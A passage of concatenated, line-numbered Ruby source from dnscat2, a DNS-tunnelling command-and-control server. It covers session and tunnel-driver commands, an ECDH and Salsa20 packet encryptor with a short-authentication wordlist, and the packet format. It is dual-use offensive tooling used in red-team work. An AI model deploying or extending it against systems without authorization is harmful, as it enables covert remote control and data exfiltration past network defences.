86 Settings::GLOBAL.each_setting() do |name, value, docs, default|
87 WINDOW.puts("%s => %s [default = %s]" % [name, CommandHelpers.format_field(value), CommandHelpers.format_field(default)])
88 WINDOW.puts(CommandHelpers.wrap(docs, 72, 4))
89 WINDOW.puts()
90 end
91
92 next
93 end
94
95 # Split at the '=' sign
96 namevalue = optarg.split("=", 2)
97
98 if(namevalue.length != 2)
99 namevalue = optarg.split(" ", 2)
100 end
101
102 if(namevalue.length != 2)
103 WINDOW.puts("Bad argument! Expected: 'set <name>=<value>' or 'set name value'!")
104 WINDOW.puts()
105 raise(Trollop::HelpNeeded)
106 end
107
108 begin
109 Settings::GLOBAL.set(namevalue[0], namevalue[1], false)
110 rescue Settings::ValidationError => e
111 WINDOW.puts("Failed to set the new value: #{e}")
112 end
113 end
114 )
115
116 @commander.register_command("unset",
117 Trollop::Parser.new do
118 banner("unset <name>")
119 end,
120
121 Proc.new do |opts, optarg|
122 Settings::GLOBAL.unset(optarg)
123 end
124 )
125
126 @commander.register_command("quit",
127 Trollop::Parser.new do
128 banner("Close all sessions and exit dnscat2")
129 end,
130
131 Proc.new do |opts, optarg|
132 exit(0)
133 end
134 )
135
136 @commander.register_command("kill",
137 Trollop::Parser.new do
138 banner("Kill the specified session (to stop a tunnel driver, use 'stop')")
139 end,
140
141 Proc.new do |opts, optarg|
142 session = find_session_by_window(optarg)
143 if(!session)
144 WINDOW.puts("Couldn't find window with id = #{optarg}")
145 next
146 end
147
148 WINDOW.puts("Session #{optarg} has been sent the kill signal!")
149 session.kill()
150 end
151 )
152
153 @commander.register_command("start",
154 Trollop::Parser.new do
155 banner("Start a new tunnel_driver - currently, this just means another\n" +
156 "DNS driver. The 'startdns' command can also be used for simpler\n" +
157 "syntax.\n" +
158 "\n" +
159 "The protocol (--dns) must be specified, and all information\n" +
160 "about the DNS server should be passed as name=value pairs, where\n" +
161 "the following names are possible:\n" +
162 "\n" +
163 "domain=<domain> The domain to listen for requests on\n" +
164 " (optional)\n" +
165 "host=<hostname> The host to listen on (default: 0.0.0.0).\n" +
166 "port=<port> The port to listen on (default: 53).\n" +
167 "\n" +
168 " Examples:\n" +
169 " start --dns domain=skullseclabs.org\n" +
170 " start --dns domain=skullseclabs.org,port=53\n" +
171 " start --dns domain=skullseclabs.org,port=5353,host=127.0.0.1\n" +
172 "\n" +
173 "To stop a driver, simply use the 'kill' command on the window\n" +
174 "it created (td1, td2, etc)\n" +
175 "\n")
176
177 opt :dns, "Start a DNS instance", :type => :string, :required => false
178 end,
179
180 Proc.new do |opts, optarg|
181 if(opts[:dns].nil?)
182 WINDOW.puts("The --dns argument is currently required!")
183 raise(Trollop::HelpNeeded)
184 end
185
186 begin
187 dns = CommandHelpers.parse_setting_string(opts[:dns], { :host => "0.0.0.0", :port => "53", :domains => [], :domain => [] })
188 dns[:domains] = dns[:domains] + dns[:domain]
189 rescue ArgumentError => e
190 WINDOW.puts("Couldn't parse setting:")
191 WINDOW.puts(e)
192 raise(Trollop::HelpNeeded)
193 end
194
195 TunnelDrivers.start({
196 :controller => self,
197 :driver => DriverDNS,
198 :args => [dns[:host], dns[:port], dns[:domains]]
199 })
200 end
201 )
202
203 @commander.register_command("stop",
204 Trollop::Parser.new do
205 banner("Stop the specified tunnel driver ('td*')")
206 end,
207
208 Proc.new do |opts, optarg|
209 # Try to stop it if it's a tunnel driver
210 if(!TunnelDrivers.exists?(optarg))
211 WINDOW.puts("No such driver: #{optarg}")
212 next
213 end
214
215 TunnelDrivers.stop(optarg)
216 WINDOW.puts("Stopped the tunnel driver: #{optarg}")
217 end
218 )
219
220 @commander.register_command("tunnels",
221 Trollop::Parser.new do
222 banner("Displays a list of the active tunnel drivers")
223 end,
224
225 Proc.new do |opts, optarg|
226 TunnelDrivers.each_driver do |name, desc|
227 WINDOW.puts("#{name} :: #{desc}")
228 end
229 end
230 )
231 end
232 end
0 ##
1 # crypto_helper.rb
2 # Created December, 2015
3 # By Ron Bowes
4 #
5 # See: LICENSE.md
6 #
7 # Implements functions that encryptor.rb (packet.rb) need.
8 ##
9
10 class CryptoHelper
11 def CryptoHelper.bignum_to_binary(bn, size=32)
12 if(!bn.is_a?(Bignum))
13 raise(ArgumentError, "Expected: Bignum; received: #{bn.class}")
14 end
15
16 return [bn.to_s(16).rjust(size*2, "\0")].pack("H*")
17 end
18
19 def CryptoHelper.bignum_to_text(bn, size=32)
20 if(!bn.is_a?(Bignum))
21 raise(ArgumentError, "Expected: Bignum; received: #{bn.class}")
22 end
23
24 return CryptoHelper.bignum_to_binary(bn, size).unpack("H*").pop()
25 end
26
27 def CryptoHelper.binary_to_bignum(binary)
28 if(!binary.is_a?(String))
29 raise(ArgumentError, "Expected: String; received: #{binary.class}")
30 end
31
32 return binary.unpack("H*").pop().to_i(16)
33 end
34 end
0 ##
1 # encryptor.rb
2 # Created October, 2015
3 # By Ron Bowes
4 #
5 # See: LICENSE.md
6 #
7 ##
8
9 require 'ecdsa'
10 require 'salsa20'
11 require 'securerandom'
12 require 'sha3'
13
14 require 'controller/crypto_helper'
15 require 'controller/encryptor_sas'
16 require 'libs/dnscat_exception'
17 require 'libs/swindow'
18
19 class Encryptor
20 include EncryptorSAS
21
22 ECDH_GROUP = ECDSA::Group::Nistp256
23
24 @@window = SWindow.new(WINDOW, false, { :noinput => true, :id => "crypto-debug", :name => "Debug window for crypto stuff"})
25 @@window.puts("This window is for debugging encryption problems!")
26 @@window.puts("In general, you can ignore it. :)")
27 @@window.puts()
28 @@window.puts("One thing to note: you'll see a lot of meaningless errors here,")
29 @@window.puts("because of retransmissions and such. They don't necessarily mean")
30 @@window.puts("anything!")
31 @@window.puts()
32 @@window.puts("But if you ARE having crypto problems, please send me these")
33 @@window.puts("logs! Don't worry too much about the private keys; they're")
34 @@window.puts("session-specific and won't harm anything in the future")
35 @@window.puts()
36
37 class Error < StandardError
38 end
39
40 def _create_key(key_name)
41 return SHA3::Digest::SHA256.digest(CryptoHelper.bignum_to_binary(@keys[:shared_secret]) + key_name)
42 end
43
44 def _create_authenticator(name, preshared_secret)
45 return SHA3::Digest::SHA256.digest(name +
46 CryptoHelper.bignum_to_binary(@keys[:shared_secret]) +
47 CryptoHelper.bignum_to_binary(@keys[:their_public_key].x) +
48 CryptoHelper.bignum_to_binary(@keys[:their_public_key].y) +
49 CryptoHelper.bignum_to_binary(@keys[:my_public_key].x) +
50 CryptoHelper.bignum_to_binary(@keys[:my_public_key].y) +
51 preshared_secret
52 )
53 end
54
55 def initialize(preshared_secret)
56 @@window.puts("Creating Encryptor with secret: #{preshared_secret}")
57
58 @preshared_secret = preshared_secret
59 @authenticated = false
60
61 # Start with encryption turned off
62 @keys = {
63 :my_nonce => -1,
64 :their_nonce => -1,
65 :my_private_key => nil,
66 :my_public_key => nil,
67 :their_public_key => nil,
68 :shared_secret => nil,
69 :their_authenticator => nil,
70 :my_authenticator => nil,
71 :their_write_key => nil,
72 :their_mac_key => nil,
73 :my_write_key => nil,
74 :my_mac_key => nil,
75 }
76 @old_keys = nil
77 end
78
79 # Returns true if something was changed
80 def set_their_public_key(their_public_key_x, their_public_key_y)
81 # Check if we're actually changing anything
82 if(@keys[:their_public_key_x] == their_public_key_x && @keys[:their_public_key_y] == their_public_key_y)
83 @@window.puts("Attempted to set the same public key!")
84 return false
85 end
86
87 @old_keys = @keys
88
89 @keys = {
90 :my_nonce => -1,
91 :their_nonce => -1,
92 }
93
94 if(ready?())
95 @@window.puts("Wow, this session is old (or the client is needy)! Key re-negotiation requested!")
96 end
97
98 @keys[:my_private_key] = 1 + SecureRandom.random_number(ECDH_GROUP.order - 1)
99 @keys[:my_public_key] = ECDH_GROUP.generator.multiply_by_scalar(@keys[:my_private_key])
100 @keys[:their_public_key_x] = their_public_key_x
101 @keys[:their_public_key_y] = their_public_key_y
102 @keys[:their_public_key] = ECDSA::Point.new(ECDH_GROUP, their_public_key_x, their_public_key_y)
103
104 @keys[:shared_secret] = @keys[:their_public_key].multiply_by_scalar(@keys[:my_private_key]).x
105
106 @keys[:their_authenticator] = _create_authenticator("client", @preshared_secret)
107 @keys[:my_authenticator] = _create_authenticator("server", @preshared_secret)
108
109 @keys[:their_write_key] = _create_key("client_write_key")
110 @keys[:their_mac_key] = _create_key("client_mac_key")
111 @keys[:my_write_key] = _create_key("server_write_key")
112 @keys[:my_mac_key] = _create_key("server_mac_key")
113
114 @@window.puts("Setting their public key: #{CryptoHelper.bignum_to_text(@keys[:their_public_key_x])} #{CryptoHelper.bignum_to_text(@keys[:their_public_key_y])}")
115 @@window.puts("Setting my public key: #{CryptoHelper.bignum_to_text(@keys[:my_public_key].x)} #{CryptoHelper.bignum_to_text(@keys[:my_public_key].y)}")
116
117 return true
118 end
119
120 def set_their_authenticator(their_authenticator)
121 if(!@keys[:their_authenticator])
122 @@window.puts("Tried to set an authenticator too early")
123 raise(DnscatException, "We weren't ready to set an authenticator!")
124 end
125
126 if(@keys[:their_authenticator] != their_authenticator)
127 @@window.puts("Tried to set a bad authenticator")
128 @@window.puts("Expected: #{@keys[:their_authenticator].unpack("H*")}")
129 @@window.puts("Received: #{their_authenticator.unpack("H*")}")
130 raise(Encryptor::Error, "Authenticator (pre-shared secret) doesn't match!")
131 end
132
133 @@window.puts("Successfully authenticated the session")
134 @authenticated = true
135 end
136
137 def to_s(keys = nil)
138 keys = keys || @keys
139
140 out = []
141 out << "My private key: #{CryptoHelper.bignum_to_text(@keys[:my_private_key])}"
142 out << "My public key [x]: #{CryptoHelper.bignum_to_text(@keys[:my_public_key].x)}"
143 out << "My public key [y]: #{CryptoHelper.bignum_to_text(@keys[:my_public_key].y)}"
144 out << "Their public key [x]: #{CryptoHelper.bignum_to_text(@keys[:their_public_key].x)}"
145 out << "Their public key [y]: #{CryptoHelper.bignum_to_text(@keys[:their_public_key].y)}"
146 out << "Shared secret: #{CryptoHelper.bignum_to_text(@keys[:shared_secret])}"
147 out << ""
148 out << "Their authenticator: #{@keys[:their_authenticator].unpack("H*")}"
149 out << "My authenticator: #{@keys[:my_authenticator].unpack("H*")}"
150 out << ""
151 out << "Their write key: #{@keys[:their_write_key].unpack("H*")}"
152 out << "Their mac key: #{@keys[:their_mac_key].unpack("H*")}"
153 out << "My write key: #{@keys[:my_write_key].unpack("H*")}"
154 out << "My mac key: #{@keys[:my_mac_key].unpack("H*")}"
155 out << ""
156 out << "SAS: #{get_sas()}"
157
158 return out.join("\n")
159 end
160
161 def my_public_key_x()
162 return @keys[:my_public_key].x
163 end
164
165 def my_public_key_x_s()
166 return CryptoHelper.bignum_to_binary(@keys[:my_public_key].x)
167 end
168
169 def my_public_key_y()
170 return @keys[:my_public_key].y
171 end
172
173 def my_public_key_y_s()
174 return CryptoHelper.bignum_to_binary(@keys[:my_public_key].y)
175 end
176
177 def my_nonce()
178 return @keys[:my_nonce] += 1
179 end
180
181 # We use this special internal function so we can try decrypting with different keys
182 def _decrypt_packet_internal(keys, data)
183 # Don't decrypt if we don't have a key set
184 if(!ready?(keys))
185 @@window.puts("Not decrypting data (incoming data seemed to be cleartext): #{data.unpack("H*")}")
186 return data
187 end
188
189 # Parse out the important fields
190 header, signature, nonce, encrypted_body = data.unpack("a5a6a2a*")
191
192 # Put together the data to sign
193 signed_data = header + nonce + encrypted_body
194
195 # Check the signature
196 correct_signature = SHA3::Digest::SHA256.digest(keys[:their_mac_key] + signed_data)
197 if(correct_signature[0,6] != signature)
198 @@window.puts("Couldn't verify packet signature!")
199 raise(Encryptor::Error, "Invalid signature!")
200 end
201
202 # Check the nonce *after* checking the signature (otherwise, we might update the nonce to a bad value and Bad Stuff happens)
203 nonce_int = nonce.unpack("n").pop()
204 if(nonce_int < keys[:their_nonce])
205 @@window.puts("Client tried to use an invalid nonce: #{nonce_int} < #{keys[:their_nonce]}")
206 raise(Encryptor::Error, "Invalid nonce!")
207 end
208 keys[:their_nonce] = nonce_int
209
210 # Decrypt the body
211 body = Salsa20.new(keys[:their_write_key], nonce.rjust(8, "\0")).decrypt(encrypted_body)
212
213 #@@window.puts("Decryption successful")
214 return header+body
215 end
216
217 # By doing this as a single operation, we can always be sure that we're encrypting data
218 # with the same key the client use to encrypt data
219 def decrypt_and_encrypt(data)
220 ## ** Decrypt
221 keys = @keys
222 begin
223 #@@window.puts("Attempting to decrypt with primary key")
224 data = _decrypt_packet_internal(keys, data)
225 #@@window.puts("Successfully decrypted with primary key")
226
227 # If it was successfully decrypted, make sure the @old_keys will no longer work
228 @old_keys = nil
229 rescue Encryptor::Error => e
230 # Attempt to fall back to old keys
231 if(@old_keys.nil?)
232 @@window.puts("No secondary key to fallback to")
233 raise(e)
234 end
235
236 @@window.puts("Attempting to decrypt with secondary key")
237 keys = @old_keys
238 data = _decrypt_packet_internal(@old_keys, data)
239 @@window.puts("Successfully decrypted with secondary key")
240 end
241
242 # Send the decrypted data up and get the encrypted data back
243 data = yield(data, ready?(keys))
244
245 # If there was an error of some sort, return nothing
246 if(data.nil? || data == '')
247 return ''
248 end
249
250 # If encryption is turned off, return unencrypted data
251 if(!ready?(keys))
252 @@window.puts("Returning an unencrypted response")
253 return data
254 end
255
256 ## ** Encrypt
257 #@@window.puts("Encrypting the response")
258
259 # Split the packet into a header and a body
260 header, body = data.unpack("a5a*")
261
262 # Encode the nonce properly
263 nonce = [keys[:my_nonce]].pack("n")
264
265 # Encrypt the body
266 encrypted_body = Salsa20.new(keys[:my_write_key], nonce.rjust(8, "\0")).encrypt(body)
267
268 # Sign it
269 signature = SHA3::Digest::SHA256.digest(keys[:my_mac_key] + header + nonce + encrypted_body)
270
271 # Arrange things appropriately
272 return [header, signature[0,6], nonce, encrypted_body].pack("a5a6a2a*")
273 end
274
275 def my_authenticator()
276 return @keys[:my_authenticator]
277 end
278
279 def ready?(keys = nil)
280 return !(keys || @keys)[:shared_secret].nil?
281 end
282
283 def authenticated?()
284 return @authenticated
285 end
286 end
0 ##
1 # encryptor_sas.rb
2 # Created October, 2015
3 # By Ron Bowes
4 #
5 # See: LICENSE.md
6 #
7 ##
8
9 require 'sha3'
10
11 module EncryptorSAS
12 SAS_WORDLIST = [
13 'Abate',
14 'Absorb',
15 'Ache',
16 'Acidy',
17 'Across',
18 'After',
19 'Alike',
20 'Amount',
21 'Amuse',
22 'Annoy',
23 'Annuls',
24 'Ardent',
25 'Ascot',
26 'Bait',
27 'Barons',
28 'Barret',
29 'Bask',
30 'Becurl',
31 'Befool',
32 'Bell',
33 'Bifold',
34 'Bogie',
35 'Boxen',
36 'Bozo',
37 'Broke',
38 'Bulby',
39 'Bunny',
40 'Calmly',
41 'Canary',
42 'Cargo',
43 'Chirp',
44 'Chroma',
45 'Cleft',
46 'Coke',
47 'Column',
48 'Comely',
49 'Cometh',
50 'Convoy',
51 'Corn',
52 'Cough',
53 'Cruxes',
54 'Cued',
55 'Darter',
56 'Dash',
57 'Dating',
58 'Deadly',
59 'Deaf',
60 'Decade',
61 'Deepen',
62 'Depict',
63 'Domed',
64 'Dorper',
65 'Drafts',
66 'Dried',
67 'Duff',
68 'Durian',
69 'Early',
70 'Easily',
71 'Eggars',
72 'Emboss',
73 'Emit',
74 'Encode',
75 'Ennui',
76 'Envied',
77 'Essay',
78 'Evites',
79 'Evoke',
80 'Exotic',
81 'Facile',
82 'Fate',
83 'Feisty',
84 'Fewest',
85 'Fifty',
86 'Filth',
87 'Finer',
88 'Fished',
89 'Flacks',
90 'Flaunt',
91 'Fleecy',
92 'Flied',
93 'Foams',
94 'Foxes',
95 'Freely',
96 'Frozen',
97 'Genome',
98 'Gibbon',
99 'Gifts',
100 'Giving',
101 'Gold',
102 'Gone',
103 'Gouge',
104 'Grocer',
105 'Grows',
106 'Half',
107 'Handle',
108 'Harold',
109 'Harp',
110 'Hedges',
111 'Hither',
112 'Hobbit',
113 'Hobble',
114 'Hoods',
115 'Hooked',
116 'Horror',
117 'Horsed',
118 'Hound',
119 'Huns',
120 'Ices',
121 'Impish',
122 'Jiber',
123 'Jiggy',
124 'Kelpy',
125 'Keyman',
126 'Khan',
127 'Killer',
128 'Klutzy',
129 'Lair',
130 'Lashes',
131 'Libate',
132 'Liming',
133 'Lonely',
134 'Looks',
135 'Lordy',
136 'Lush',
137 'Mailer',
138 'Maps',
139 'Mayo',
140 'Mcgill',
141 'Mona',
142 'Motive',
143 'Mousy',
144 'Neigh',
145 'Ninjas',
146 'Nodule',
147 'Nuns',
148 'Obese',
149 'Olive',
150 'Omelet',
151 'Omen',
152 'Otto',
153 'Outran',
154 'Ouzo',
155 'Owls',
156 'Papism',
157 'Parrot',
158 'Peace',
159 'Pearly',
160 'Peaty',
161 'Pedal',
162 'Pegged',
163 'Petals',
164 'Phials',
165 'Pianos',
166 'Pierce',
167 'Pigs',
168 'Pikey',
169 'Pitch',
170 'Plato',
171 'Plays',
172 'Plight',
173 'Poetic',
174 'Poker',
175 'Polite',
176 'Pontic',
177 'Pony',
178 'Powers',
179 'Poxes',
180 'Prams',
181 'Pulped',
182 'Purr',
183 'Push',
184 'Quint',
185 'Random',
186 'Rapier',
187 'Ravel',
188 'Real',
189 'Rebolt',
190 'Recoil',
191 'Redear',
192 'Reink',
193 'Ripe',
194 'Riprap',
195 'Roger',
196 'Ropers',
197 'Roving',
198 'Rumor',
199 'Sanded',
200 'Sawlog',
201 'Sawman',
202 'Scribe',
203 'Scruff',
204 'Seitan',
205 'Sense',
206 'Shirks',
207 'Sippy',
208 'Sitcom',
209 'Slumpy',
210 'Softy',
211 'Sonar',
212 'Sonny',
213 'Sophic',
214 'Spear',
215 'Spiced',
216 'Spikey',
217 'Spine',
218 'Spoofy',
219 'Spring',
220 'Static',
221 'Staved',
222 'Stilt',
223 'Stinty',
224 'Stirs',
225 'Storer',
226 'Story',
227 'Strode',
228 'Stump',
229 'Suited',
230 'Surfs',
231 'Swatch',
232 'Swum',
233 'Tables',
234 'Taking',
235 'Tattoo',
236 'Teal',
237 'Teeth',
238 'Telco',
239 'Timer',
240 'Tins',
241 'Tonite',
242 'Tore',
243 'Tort',
244 'Tried',
245 'Trivia',
246 'Tubule',
247 'Tusked',
248 'Twins',
249 'Twos',
250 'Unborn',
251 'Undam',
252 'Unwrap',
253 'Upcurl',
254 'Upseal',
255 'Visas',
256 'Volume',
257 'Waded',
258 'Wages',
259 'Ware',
260 'Wears',
261 'Wicked',
262 'Winful',
263 'Wisely',
264 'Wisp',
265 'Yerba',
266 'Zester',
267 'Zoner',
268 'Zootic',
269 ]
270
271 def get_sas()
272 return SHA3::Digest::SHA256.digest("authstring" +
273 CryptoHelper.bignum_to_binary(@keys[:shared_secret]) +
274 CryptoHelper.bignum_to_binary(@keys[:their_public_key].x) +
275 CryptoHelper.bignum_to_binary(@keys[:their_public_key].y) +
276 CryptoHelper.bignum_to_binary(@keys[:my_public_key].x) +
277 CryptoHelper.bignum_to_binary(@keys[:my_public_key].y)
278 )[0,6].bytes().map() { |b| SAS_WORDLIST[b] }.join(' ')
279 end
280 end
0 ##
1 # packet.rb
2 # Created March, 2013
3 # By Ron Bowes
4 #
5 # See: LICENSE.md
6 #
7 # Builds and parses dnscat2 packets.
8 ##
9
10 require 'controller/crypto_helper'
11 require 'libs/dnscat_exception'
12 require 'libs/hex'
13
14 module PacketHelper
15 def at_least?(data, needed)
16 return (data.length >= needed)
17 end
18 def exactly?(data, needed)
19 return (data.length == needed)
20 end
21 end
22
23 class Packet
24 extend PacketHelper
25
26 # Message types
27 MESSAGE_TYPE_SYN = 0x00
28 MESSAGE_TYPE_MSG = 0x01
29 MESSAGE_TYPE_FIN = 0x02
30 MESSAGE_TYPE_PING = 0xFF
31 MESSAGE_TYPE_ENC = 0x03
32
33 OPT_NAME = 0x0001
34 # OPT_TUNNEL = 0x0002 # Deprecated
35 # OPT_DATAGRAM = 0x0004 # Deprecated
36 # OPT_DOWNLOAD = 0x0008 # Deprecated
37 # OPT_CHUNKED_DOWNLOAD = 0x0010 # Deprecated
38 OPT_COMMAND = 0x0020
39
40 attr_reader :packet_id, :type, :session_id, :body
41
42 class SynBody
43 extend PacketHelper
44
45 attr_reader :seq, :options, :name
46
47 def initialize(options, params = {})
48 @options = options || raise(DnscatException, "options can't be nil!")
49 @seq = params[:seq] || raise(DnscatException, "params[:seq] can't be nil!")
50
51 if((@options & OPT_NAME) == OPT_NAME)
52 @name = params[:name] || raise(DnscatException, "params[:name] can't be nil when OPT_NAME is set!")
53 else
54 @name = "(unnamed)"
55 end
56 end
57
58 def SynBody.parse(data)
59 at_least?(data, 4) || raise(DnscatException, "Packet is too short (SYN)")
60
61 seq, options, data = data.unpack("nna*")
62
63 # Parse the option name, if it has one
64 name = nil
65 if((options & OPT_NAME) == OPT_NAME)
66 if(data.index("\0").nil?)
67 raise(DnscatException, "OPT_NAME set, but no null-terminated name given")
68 end
69 name, data = data.unpack("Z*a*")
70 else
71 name = "[unnamed]"
72 end
73
74 # Verify that that was the entire packet
75 if(data.length > 0)
76 raise(DnscatException, "Extra data on the end of an SYN packet :: #{data.unpack("H*")}")
77 end
78
79 return SynBody.new(options, {
80 :seq => seq,
81 :name => name,
82 })
83 end
84
85 def to_s()
86 return "[[SYN]] :: isn = %04x, options = %04x, name = %s" % [@seq, @options, @name]
87 end
88
89 def to_bytes()
90 result = [@seq, @options].pack("nn")
91
92 if((@options & OPT_NAME) == OPT_NAME)
93 result += [@name].pack("Z*")
94 end
95
96 return result
97 end
98 end
99
100 class MsgBody
101 extend PacketHelper
102
103 attr_reader :seq, :ack, :data
104
105 def initialize(options, params = {})
106 @options = options
107 @seq = params[:seq] || raise(DnscatException, "params[:seq] can't be nil!")
108 @ack = params[:ack] || raise(DnscatException, "params[:ack] can't be nil!")
109 @data = params[:data] || raise(DnscatException, "params[:data] can't be nil!")
110 end
111
112 def MsgBody.parse(options, data)
113 at_least?(data, 4) || raise(DnscatException, "Packet is too short (MSG norm)")
114
115 seq, ack = data.unpack("nn")
116 data = data[4..-1] # Remove the first four bytes
117
118 return MsgBody.new(options, {
119 :seq => seq,
120 :ack => ack,
121 :data => data,
122 })
123 end
124
125 def MsgBody.header_size(options)
126 return MsgBody.new(options, {
127 :seq => 0,
128 :ack => 0,
129 :data => '',
130 }).to_bytes().length()
131 end
132
133 def to_s()
134 return "[[MSG]] :: seq = %04x, ack = %04x, data = 0x%x bytes" % [@seq, @ack, data.length]
135 end
136
137 def to_bytes()
138 result = ""
139 seq = @seq || 0
140 ack = @ack || 0
141 result += [seq, ack, @data].pack("nna*")
142
143 return result
144 end
145 end
146
147 class FinBody
148 extend PacketHelper
149
150 attr_reader :reason
151
152 def initialize(options, params = {})
153 @options = options
154 @reason = params[:reason] || raise(DnscatException, "params[:reason] can't be nil!")
155 end
156
157 def FinBody.parse(options, data)
158 at_least?(data, 1) || raise(DnscatException, "Packet is too short (FIN)")
159
160 reason = data.unpack("Z*").pop
161 data = data[(reason.length+1)..-1]
162
163 if(data.length > 0)
164 raise(DnscatException, "Extra data on the end of a FIN packet")
165 end
166
167 return FinBody.new(options, {
168 :reason => reason,
169 })
170 end
171
172 def to_s()
173 return "[[FIN]] :: %s" % [@reason]
174 end
175
176 def to_bytes()
177 [@reason].pack("Z*")
178 end
179 end
180
181 class PingBody
182 extend PacketHelper
183
184 attr_reader :data
185
186 def initialize(options, params = {})
187 @options = options
188 @data = params[:data] || raise(DnscatException, "params[:data] can't be nil!")
189 end
190
191 def PingBody.parse(options, data)
192 at_least?(data, 3) || raise(DnscatException, "Packet is too short (PING)")
193
194 data = data.unpack("Z*").pop
195
196 return PingBody.new(options, {
197 :data => data,
198 })
199 end
200
201 def to_s()
202 return "[[PING]] :: %s" % [@data]
203 end
204
205 def to_bytes()
206 [@data].pack("Z*")
207 end
208 end
209
210 class EncBody
211 extend PacketHelper
212
213 SUBTYPE_INIT = 0x0000
214 SUBTYPE_AUTH = 0x0001
215 attr_reader :subtype, :flags
216 attr_reader :public_key_x, :public_key_y # SUBTYPE_INIT
217 attr_reader :authenticator # SUBTYPE_AUTH
218
219 def initialize(params = {})
220 @subtype = params[:subtype] || raise(DnscatException, "params[:subtype] is required!")
221 @flags = params[:flags] || raise(DnscatException, "params[:flags] is required!")
222
223 if(@subtype == SUBTYPE_INIT)
224 @public_key_x = params[:public_key_x] || raise(DnscatException, "params[:public_key_x] is required!")
225 @public_key_y = params[:public_key_y] || raise(DnscatException, "params[:public_key_y] is required!")
226
227 if(!@public_key_x.is_a?(Bignum) || !@public_key_y.is_a?(Bignum))
228 raise(DnscatException, "Public keys have to be Bignums! (Seen: #{@public_key_x.class} #{@public_key_y.class})")
229 end
230 elsif(@subtype == SUBTYPE_AUTH)
231 @authenticator = params[:authenticator] || raise(DnscatException, "params[:authenticator] is required!")
232
233 if(@authenticator.length != 32)
234 raise(DnscatException, "params[:authenticator] was the wrong size!")
235 end
236 else
237 raise(DnscatException, "Unknown subtype: #{@subtype}")
238 end
239 end
240
241 def EncBody.parse(data)
242 at_least?(data, 4) || raise(DnscatException, "ENC packet is too short!")
243
244 subtype, flags, data = data.unpack("nna*")
245
246 params = {
247 :subtype => subtype,
248 :flags => flags,
249 }
250
251 if(subtype == SUBTYPE_INIT)
252 exactly?(data, 64) || raise(DnscatException, "ENC packet is too short!")
253
254 public_key_x, public_key_y, data = data.unpack("a32a32a*")
255
256 params[:public_key_x] = CryptoHelper.binary_to_bignum(public_key_x)
257 params[:public_key_y] = CryptoHelper.binary_to_bignum(public_key_y)
258
259 elsif(subtype == SUBTYPE_AUTH)
260 exactly?(data, 32) || raise(DnscatException, "ENC packet is too short!")
261
262 authenticator, data = data.unpack("a32a*")
263
264 params[:authenticator] = authenticator
265 else
266 raise(DnscatException, "Unknown subtype: #{subtype}")
267 end
268
269 if(data != "")
270 raise(DnscatException, "Extra data on the end of an ENC packet")
271 end
272
273 return EncBody.new(params)
274 end
275
276 def to_s()
277 if(@subtype == SUBTYPE_INIT)
278 return "[[ENC|INIT]] :: flags = 0x%04x, pubkey = %s,%s" % [@flags, CryptoHelper.bignum_to_text(@public_key_x), CryptoHelper.bignum_to_text(@public_key_y)]
279 elsif(@subtype == SUBTYPE_AUTH)
280 return "[[ENC|AUTH]] :: flags = 0x%04x, authenticator = %s" % [@flags, @authenticator.unpack("H*").pop()]
281 else
282 raise(DnscatException, "Unknown subtype: #{@subtype}")
283 end
284 end
285
286 def to_bytes()
287 if(@subtype == SUBTYPE_INIT)
288 public_key_x = CryptoHelper.bignum_to_binary(@public_key_x)
289 public_key_y = CryptoHelper.bignum_to_binary(@public_key_y)
290
291 return [@subtype, @flags, public_key_x, public_key_y].pack("nna32a32")
292 elsif(@subtype == SUBTYPE_AUTH)
293 return [@subtype, @flags, @authenticator].pack("nna32")
294 else
295 raise(DnscatException, "Unknown subtype: #{@subtype}")
296 end
297 end
298 end
299
300 def ==(other_packet)
301 return self.to_bytes() == other_packet.to_bytes()
302 end
303
304 # You probably don't ever want to use this, call Packet.parse() or Packet.create_*() instead
305 def initialize(packet_id, type, session_id, body)
306 @packet_id = packet_id || rand(0xFFFF)
307 @type = type || raise(DnscatException, "type can't be nil!")
308 @session_id = session_id || raise(DnscatException, "session_id can't be nil!")
309 @body = body
310 end
311
312 def Packet.header_size(options)
313 return Packet.new(0, 0, 0, nil).to_bytes().length()
314 end
315
316 def Packet.parse_header(data)
317 at_least?(data, 5) || raise(DnscatException, "Packet is too short (header)")
318
319 # (uint16_t) packet_id
320 # (uint8_t) message_type
321 # (uint16_t) session_id
322 packet_id, type, session_id = data.unpack("nCn")
323 data = data[5..-1]
324
325 return packet_id, type, session_id, data
326 end
327
328 def Packet.peek_session_id(data)
329 _, _, session_id, _ = Packet.parse_header(data)
330
331 return session_id
332 end
333
334 def Packet.peek_type(data)
335 _, type, _, _ = Packet.parse_header(data)
336
337 return type
338 end
339
340 def Packet.parse(data, options = nil)
341 packet_id, type, session_id, data = Packet.parse_header(data)
342
343 if(type == MESSAGE_TYPE_SYN)
344 body = SynBody.parse(data)
345 elsif(type == MESSAGE_TYPE_MSG)
346 if(options.nil?)
347 raise(DnscatException, "Options are required when parsing MSG packets!")
348 end
349 body = MsgBody.parse(options, data)
350 elsif(type == MESSAGE_TYPE_FIN)
351 if(options.nil?)
352 raise(DnscatException, "Options are required when parsing FIN packets!")
353 end
354 body = FinBody.parse(options, data)
355 elsif(type == MESSAGE_TYPE_PING)
356 body = PingBody.parse(nil, data)
357 elsif(type == MESSAGE_TYPE_ENC)
358 body = EncBody.parse(data)
359 else
360 raise(DnscatException, "Unknown message type: 0x%x" % type)
361 end
362
363 return Packet.new(packet_id, type, session_id, body)
364 end
365
366 def Packet.create_syn(options, params = {})
367 return Packet.new(params[:packet_id], MESSAGE_TYPE_SYN, params[:session_id], SynBody.new(options, params))
368 end
369
370 def Packet.create_msg(options, params = {})
371 return Packet.new(params[:packet_id], MESSAGE_TYPE_MSG, params[:session_id], MsgBody.new(options, params))
372 end
373
374 def Packet.create_fin(options, params = {})
375 return Packet.new(params[:packet_id], MESSAGE_TYPE_FIN, params[:session_id], FinBody.new(options, params))
376 end
377
378 def Packet.create_ping(params = {})
379 return Packet.new(params[:packet_id], MESSAGE_TYPE_PING, params[:session_id], PingBody.new(nil, params))
380 end
381
382 def Packet.create_enc(params = {})
383 return Packet.new(params[:packet_id], MESSAGE_TYPE_ENC, params[:session_id], EncBody.new(params))
384 end
385
386 def to_s()
387 result = "[0x%04x] session = %04x :: %s\n" % [@packet_id, @session_id, @body.to_s]
388 result += Hex.to_s(to_bytes(), 2)
389 return result
390 end
391
392 def to_bytes()
393 result = [@packet_id, @type, @session_id].pack("nCn")
394
395 # If we set the body to nil, just return a header (this happens when determining the header length)
396 if([email protected]?)
397 result += @body.to_bytes()
398 end
399
400 return result
401 end
402 end
403
0 ##
